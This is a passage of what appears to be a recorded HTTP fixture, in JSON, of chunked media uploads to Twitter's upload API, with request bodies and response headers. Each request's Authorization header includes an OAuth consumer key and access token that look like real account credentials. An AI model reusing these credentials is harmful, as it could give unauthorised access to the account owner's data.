%2BEtAoGMiR%2F7BZ8Jdu%2FNcAYxZySdb5RBx3LMunjw%2BwiKRxJvqQevGwkyA0R3wkZd%2F7%2FL%2BTdgqEu7w4nm0PeMh2xu9sbKPBfO5XrI7NOXgiIOgP75%2FbCrXxPqG%2Bf%2FRaQ%2FX0cyZaE4mX7dtdgo7ve8Xn%2BScrtqSnye7X4JOel%2Ff7DRgY4PIR1bKvJEnC2rb4J6TnFUNv96WGsRm0Wv%2FnFBw9%2FF2Bxmqbst7dD8LoOA7tITyoRw7g%3D&media_id=1254206535166763008&segment_index=13" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:01 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:01 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_Y+BRyulOrte\/ZJqLMDHlcA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:01 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112115560834; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:01 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "0a0021663ac5c2251e136bf2d5052f63", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19939", - "x-rate-limit-reset": "1587864356", - "x-response-time": "36", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00dfae45007fa59a", - "x-tsa-request-body-time": "104", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"kOcvIIn%2BXFL2O7DNBFmfoPjiSXc%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=gL%2BJLi7Kd5P7lLaBJg7qcpKvgllWOHNhI0vZ8t%2B4Z8IyVnu3Qiw%2F56tO2lAxF%2B96ah670Qjok%2FLr5QmTgH1SS45O30HCVfbJgnpMSvOH7b2SBhIcZ0PqRPqXFmw2pDKMGuWSeWq%2B98bwbY10MZB4DDD7TFCczIS3yfmhBsAhBQTnNbYhd3zZIxJotF85MvfePU4Bptrr%2Bt0PCIrwJzT1h7EvqKubjEOSvrHD5XAdbW9BSnrAimr%2BDTroM4WB%2FgmnIeVMYxUqAUS0xb4nVCY0%2F%2BDlYY1pzDS%2FQ00FKyvTUPrL8k31Jzb%2F6GcIc9HRtP4osHaoZLMDI5XdaWHy88kMIGQzMyyps%2BlI%2FpthxhWIaKUPGDb7KV7U1y8vl85N7WzZadGpu5cyk6SWwnySaQRqcnuQ13heeI68yn2j6NggQJm8dh%2F5hiMCQWmepFg6zCA1%2FG0Lc0DkUErYEDudQ00unFREr1UXxo2xTByycP2xsQSgrZ%2FBBbAg7lvb6NpHPZYRYQLMepwx31DM9uB4Zlq0jPsv1Tph3qRjHO9ItLaf7%2Bo3GR07QR4L1XmvHUa4StPcuP9wT7YreW%2FD1DdqDK9rh3ff6X4i8rG38bpewjKtDzsXcuWkUzv1BIJtNI0uT59uwubDE3dY%2F%2F7wwwzBwf1jBlL4RsdWCUYvdwu1rfr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rUnG2SlrWthXlbZA7XEo8nOGOoN8tqX%2F7RXqQz5peJWvpa%2FXK70f4EMgsQqquq3kIBXPrBnFRBF3d3euGYgKbisVisViu8Vuov06%2BCuHFbzQBL8yEmB%2FmeA4fv2q7KUi6Cg0%2Fjy2Mpj8dOEFva8jy%2F%2FYvQOH3Jvf8FYm98nvpkL8ERnffJ%2BV7hem4P%2BcDgL%2Bg4AcoywGduPIa92%2F2EjbuK4rf4oqs%2Fy%2F5Oan692LLcuXnx%2B%2FEm7tbMRy0tfE%2BWh89S3%2Bi9iurWvifbXr5e%2Fg68DYFCYlzr3ZtVvAQA%3D&media_id=1254206535166763008&segment_index=14" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:01 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:01 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_cXKictub\/RibUPq7rcfRCA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:01 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112166875292; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:01 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "82f6b441261c0d2d4bdd3c7eb93337e6", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19938", - "x-rate-limit-reset": "1587864356", - "x-response-time": "33", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "0094c20b0055b7f5", - "x-tsa-request-body-time": "96", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"fvbzIXFf4LjACiFxQjNff3sJN1c%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=8QR3xLglz%2BE57nx0H%2FPyHZExAv4I5vobu68JWhuOSw%2FOw%2F8l3%2Fu73%2BGSvOkt9CRn2bvEEupMHfW8lT%2BP0jkqbCd7FQxXVhGrH43ZFpUE7uD%2BXOqrYkhs0%2Fcu%2B7rzeM6O79eknRffqdKv5V6SKvBSEP1YfYhZxSryfv9foS5Vslql9FyrrJ44Q%2BKEPqQxgZgwH29V%2FDgkN%2F3moAzPlni%2BWDEuX13wQeWlAhrrUA13uRGEui4WzVo6WOjX9fQbFQ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9DjzK4IDs7ZO4B%2Bn1JARzKwsP9q1tAcOXK16nk%2FC4OASBUmCgWCYWGgWCoWHAWFAWSgWE4WIoiIIW5fHhurJzWqElXUovcxrVI0LOXyven627l2j0L9Q9Vb626az%2FXuzLRxGTMylC%2FUf5Jrw2veS1xfVPVxfTV%2Bba%2Bz%2FNlNXdPo%2FjTjQsV3c44GdsmcboW1uyrKWkIG9qnOSeyvsn1U8pqSoKsaKh3779L9XQ9GG6Wt9coySgJ4NZnJztRqJkMJfU0rMrW9HytPO2W%2BZ5EkBoi%2BRbZ%2Bw6rSabvS2SGx6SFDURZch14aIvv0dk1%2B5p9SLwPAR7sA9vv9Xn89QkuZQz1E3a5SuYgu9%2B2%2BGsjNNGhkUoJllnkml%2FhQmA%2FP5TBwAEUmf44YwbLky3i5Tc10OPkRHnDhtweqThC8lBqXmmhE4lOqSe%2BsvFspHtCl5Eevy8Vi10%2Bq1Mm7s4%2BNF6FzKvjq6aeLhbq9HxIJVBBQMqfgwQ98w4pZ4Ghvucg80zoUII8Cm4jxCBqgaPHgPptANZcSF8LjKSaO%2Bm1JSXMpOAQ4h%2BS1s8iXtslyteS7nTgISSVLW%2Bc%2BK%2Bap9IiH1VTwItNIDTEqGOETsLYTIrLptkPPBHVNS2CWQuKFlvN8Hsux23M3aI4MBQJBFUAARIAACkuTgAHlR5GAGQh4woIzmNOqICl%2FT2Sp6hLVFVgzZXlSyM1zcl1NVhdwh8Tkcw%2FxcTTkeOcjAccT%2BTE7YfTqn%2F8wYcBwAEYmf4VGLRgoVLmlqqp50J2QukKWDxE3SSBAIE5EmmhPI1mNky6c3DUVaR7BzJWUnY2%2B7QlNRRKQ07s%2FMkE0pPvXqF6Pe4Vxkb%2B9TgnNZhVYVKESdp%2B9qeFtJVJnCZ6JVs%3D&media_id=1254206535166763008&segment_index=15" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:02 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:02 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_AaeYvkDvwlvvfZfANjUU8g==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:02 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112215129411; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:02 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "86971508e6bd5be60bdcbbecbad56a77", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19937", - "x-rate-limit-reset": "1587864356", - "x-response-time": "41", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00f065e400d01c78", - "x-tsa-request-body-time": "64", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"R81NXsBIQwxbgDXkA80UsxmAz4I%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=mr8wMBUNwSGS4uS%2B5%2BGDlQMyc8LE3WNG0Vkgmq8qORFcA61nbecIL1Sx4I01XlFSYhd6ReYbUQNIhJlKcFGFsE2hm%2BCx98QLLDgJJkbjlWnlpK1LCTQpo9bGLQAYpgp0C5DFFMKiCnZR507x%2BOz8AQCsP5by61ZqF416A2DvHihcOKp4C3DUILkH3UjOE53WdX7u%2F45rKj61c9cpZW1cqCXO0rB7QGIA5OQMXIJxYMToF5gG6kHAASLUkCYWCgVCgWPAWMgYCyICwnCQVCIiCIhc53ioqpMvNVEqrzLrLcXUq9DXX6XcfHnX%2BnXpv0VeHilPm1vjXqmv%2BfbKy3Y6X79mrnt26o7%2Ff3nm3Ukbb5%2Fbn8ymOfZPRrr77%2BqpwNgg0D4Hq8FoXYFMUocdSAMwUEM83zufwsc06VlcJGhnghsRDX5Qc34naHPgkp%2BwFTq2jnaBTckJ%2FygBXbp%2BaA28nR2E%2BAyC3xhtBSpuwxAnMafTl2b%2FHhWNkt13Gv%2FxaQAeB7rPeWhwc%2FgcX5faV1%2BJC0xnt46sW%2BnJSk8ERFLsDlgtwrrnWLmSraxJht79PkWX5duAOAEiVJBsEwoFhOFhQFiQFhQFjQFjOEiiEwvHs56zvciZUq8sqyNysl8JUnQ%2FoX6r0NuH5vS5a07o%2B5%2Bi5%2FvcUrSqY29bF3dF3dXh12V%2F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jZ7X460cNQ9RrG1S%2BjNySgdUqRyVmAmvB4EFECSII6pEe92sr9aqifjVecQtXJdv8VVrWq3yQscUEiVgpoaYPBbtg4g94QWB%2BgMMx6WVVL8ugy5fhJS4HygZmWoUVl0KFc0Jyt9dBzTA7rXF%2BmWH3TCDbggdOGWnMgAZss9gOSxM4Vnm9hNXUTVVXCCHCarRszwC%2B3B7IoOhQNQ35ouYaezS02jVLwIpgTGKQvIAjbmK3GtdiaI%2BT7nAbC8K7M%2B04THDCKkwA%2F43kXCr5P76o40So1mrG2Ulcxns9h%2BiP6LVrl9LUtS4dr0z%2BJov%2FG69XEfESDuZqzbxMUMPqRLhGcYTOIfVPrEggOcc%3D&media_id=1254206535166763008&segment_index=16" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:02 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:02 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_DEEMVQS\/UKN7dMPLBztYOg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:02 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112263731147; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:02 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "271299047b9f313afd5f048c7cdf815a", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19936", - "x-rate-limit-reset": "1587864356", - "x-response-time": "36", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "003cd36700cbfb6b", - "x-tsa-request-body-time": "64", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"SX0iqSmFPKfyN%2BnluOC2ctTe6sQ%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=b33UPy%2B7vMPJv56DRT3P3CQXIFB44LBoysC%2F4KgwYdAcX5P6wTPzwFgE4jviXfaF1VEbPu6tflXdq0mq4V95d33U9Xk%2FUgjEopx46CVinqSXTqngGgLljGGm4ADKjHfJtRRHd7xjyPraBPy68WR%2Fh32Q3%2F2iUyo1LlAfZzim02J5dLnvvS%2FEE%2BP%2F9BFu1Yr1rv439Xk%2Bul1N2tbzyDQwTbADnswPG%2F3sQ0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B4AKPc%2FKurul0ccesQLCqG3aK0ArgERg%2Fcbk8Z45Ttl%2F7MBKQn3%2F1PL9MtM%2BExoK1lqBsO9TxUwVDOvWl%2FwO5QETD%2FGd96miHxqwhpleFCpQhDzAq3eYgONg08TewjN8444lu0gkscG4gN3RLgMGiKbD%2BgzvLaE6r1bo5XP1932rTer916t83fP8isW3f0wWmU%2FrqscwgjD7Vz2%2Bn7BDVeLWPEGCweKs1mQBztinT3Fx%2FKoiUhE0KLFXiSZWRPvcNCBs8sFhlhihlhlmKGKGfGEtAakX8M4oGBj1u8DNUD7pwXXU5nXHqriNa74SMr7416c%2BYX8TMgUfMEizxi2CM17Amges8R5k2wQQDZcVhNqHSu1O8KHSqcmN4oaZZpgqDXf0fb3Lwr9xuXyoPeOsnkhWf%2B6bvSDdJT8KjIWi35Eciu61RIrybojHd1WuvQuXjZqfFLz%2FCl5ignFObwWEun%2Fs1hjiZPHl5fF1l%2BaTtC%2FcA3gweLgoYB%2Fq2f4NeX9IGZLGPcACdA9FUINP4dblr4j%2Frh7dWtVyVasYomq69X5HluI%2FyVy7%2BX5AoIgksrgB1cmG4JDEzLI7aFZt%2Bt70en%2BZ9FoP5tcQJhSLgDCOiZi98Ghoqxdsm%2B4xwqWjo0Mh46kIzKAMoDOilwIYvgONMy%2BQfKm1z6YYH2YdMEqMDr6K%2BT9CarJk9UobVzu7xSvu%2FXK6Jlte2kqLJwSfM9%2BTLJMy1elWb%2BCysQaxB4G7C8DPuTWCEvpAU162Clqu6uuqT9FryFvVak4tXl9al0wSELE0ErbfVggzpCaW2ysgxRlI%2F5bJtEqSEG8fufd4%2FUNGBKGuttJMI%3D&media_id=1254206535166763008&segment_index=17" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:03 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:03 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_KsVcWiAHkZiPvRE5yVrImA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:03 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112316524788; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:03 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "c0120b835ec0cf3d4dae7d40bffdf65e", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19935", - "x-rate-limit-reset": "1587864356", - "x-response-time": "33", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00babfba00c09c44", - "x-tsa-request-body-time": "95", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"37DTxBkueNUIQqQX7PWtEiwwkqE%3D\"", - "Expect": null - }, - "body": "command=APPEND&media_data=MaeTBok%2F38KSEFphEBezxZRuDvSr4qjOq%2B3v%2Fs%2Fp8t%2FQIy460eWX%2FyxhuPJgpFHqwSssbQXBqoYjV8te7YJsNAxal6qDRfcjzmUsa%2BXf9ejvdFfEUKWofxRNUqyl5bta%2BJvxROOsswBiZ1%2F6%2BXe6alH8dd4o0r7hVW%2Fh7BrDtSYKJOPDRqOzFtb7C9MVxBxkM9C4cQzKg4AmB36QVEMJFxk37cQ0Q6ZQ6wiF%2Fk9q1x8uMIuIfhyRIQYfJ86XQ70Hw1xd6VuFvXM2%2FT4KLv3vr3WVehbHffxcnomVerzaor%2B6xeB%2BF%2B2Umqy%2BBUgZsI4KMvVvcV05rJ%2FAUAgEhwIRgBCwMQLCZcvcG8YzaJcJgPAJt%2FKP4WAnH4Wu4hxWFEhDn6zjpDyVthBzi042Qf4XxVGQYBvlp%2BThsbtX2Gjh5JR8E9rwTOxVA3UXjW%2F%2FX4U2tBkDAS91tOHnT1dAnlyD8FZW8tz%2FKYpbTue4r3Y%2BXyfDT7ggnsov8EPpFLx1EW0X6MAatXo845jq5Se%2BZCU4eIdAcfDcnlU0NX43O6OpgopUSCLK%2F1vieHE%2BhxI3HPP%2FfSlwH67HPWM5eJ9P7KS%2F923X8ERLGbOLll5%2BJ%2FV7lRWSYbHita8Q%2B8UNhvfgUR4LTKtK9%2B8CicRVddK8MICCM8GJgpEPOAHnw8HCwACMUAAjPAcDuNVxjJ9Gem1IhNKdgsRn8KxQACcKDgNTcXTu5Y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22py%2ByLWNIFtUjVpuIQ%2Fp4%2BMJAWHpCOJ0TSqwSOn3AN%2F7lrxNd%2B5cFH9DpmmeWHOEVzsc4uMvyL84VLBVf33spusWGNN4Yaf%2FD0EZu4%2FD6Ziz0SdUO20bL2oopqcms3%2F9w9vxxeg8ONAHab9mcVxCxlB7NBHrDK%2B4Y0XbLi6vJ6s1%2BvVyVjff6yvUEheX98oglVVVr0VErwjRG3j5y6iBEewj0mz41jhHuGdwZFKCWKMUZ45mngrQr4sni93QIhMIXDunsPjbwwMaBp6kZteGV9arGjlOPlIhmSoWMH2mT%2Bvy%2Fr44igcv8cIMAQdhhh2yJ0%2B91DJYA96t4WAfbhu6oefqCvazX%2B9vCxJL305WMsRu5%2F%2BY97%2FFE3bjqZrUz1BNaI4%2B9ZT%2BI%2FOVU0FN%2Fv8JmLzccn577yfC14V415a1h9sC8Gn2q2FX99YWjJEN%2FNKgon3UHrWFzIkGTWoq9wT3SGmRJffE9sv%2B0oV7iA%3D&media_id=1254206535166763008&segment_index=18" - }, - "response": { - "status": { - "http_version": "2", - "code": "204", - "message": "" - }, - "headers": { - "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", - "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", - "content-type": "text\/html;charset=utf-8", - "date": "Sun, 26 Apr 2020 00:32:03 GMT", - "expires": "Tue, 31 Mar 1981 05:00:00 GMT", - "last-modified": "Sun, 26 Apr 2020 00:32:03 GMT", - "pragma": "no-cache", - "server": "tsa_b", - "set-cookie": "personalization_id=\"v1_ZUua6hlDD9lPcQsr1bFN0Q==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:03 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786112371858353; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:03 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", - "status": "204 No Content", - "strict-transport-security": "max-age=631138519", - "vary": "Origin", - "x-access-level": "read-write-directmessages", - "x-connection-hash": "de49e6924451b60278002f0d21941e4b", - "x-frame-options": "SAMEORIGIN", - "x-mediaid": "1254206535166763008", - "x-rate-limit-limit": "20000", - "x-rate-limit-remaining": "19934", - "x-rate-limit-reset": "1587864356", - "x-response-time": "32", - "x-segmentcount": "0", - "x-totalbytes": "0", - "x-transaction": "00986fd2001e1949", - "x-tsa-request-body-time": "98", - "x-twitter-response-tags": "BouncerCompliant", - "x-xss-protection": "1; mode=block" - } - } -},{ - "request": { - "method": "POST", - "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", - "headers": { - "Host": "upload.twitter.com", - "Accept": "application\/json", - "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"82J3IwDysMO%2BYS5RqBpN972%2BMcA%3D\"", - "Expect": null - }, - "body": 